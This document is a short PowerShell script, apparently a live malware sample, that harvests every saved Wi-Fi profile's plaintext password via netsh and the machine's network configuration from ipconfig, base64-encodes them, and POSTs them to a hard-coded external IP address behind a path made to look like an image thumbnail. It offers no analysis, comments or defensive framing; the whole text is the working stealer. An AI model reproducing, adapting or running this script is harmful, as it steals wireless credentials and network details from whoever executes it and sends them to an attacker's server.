$wlans = netsh wlan show profiles | Select-String -Pattern "All User Profile" | Foreach-Object {$_.ToString()} $exdata = $wlans | Foreach-Object {$_.Replace(" All User Profile : ",$null)} $ww = $exdata | ForEach-Object {netsh wlan show profiles name="$_" key=clear} | Select-String -Pattern '(==)|(SSID name)|(Key Content)' | Foreach-Object {$_.ToString()} | foreach-object {$_ + "`n"} $utfbytes = [System.Text.Encoding]::Unicode.GetBytes(($ww)) $ww64 = [System.Convert]::ToBase64String($utfbytes) $ipcfg = ipconfig /all | Select-String -Pattern '(Physical Address)|(DHCP Enabled)|(IPv4 Address)|(Subnet Mask)|(Default Gateway)|(DHCP Server)|(DNS Servers)' | Foreach-Object {$_.ToString()} | foreach-object {$_ + "`n"} $utfbytes = [System.Text.Encoding]::Unicode.GetBytes(($ipcfg)) $ip64 = [System.Convert]::ToBase64String($utfbytes) Invoke-WebRequest -Uri http://23.111.159.158/nova/client/images/thumbnail/1.php -Method POST -Body "wl=$ww64&ip=$ip64"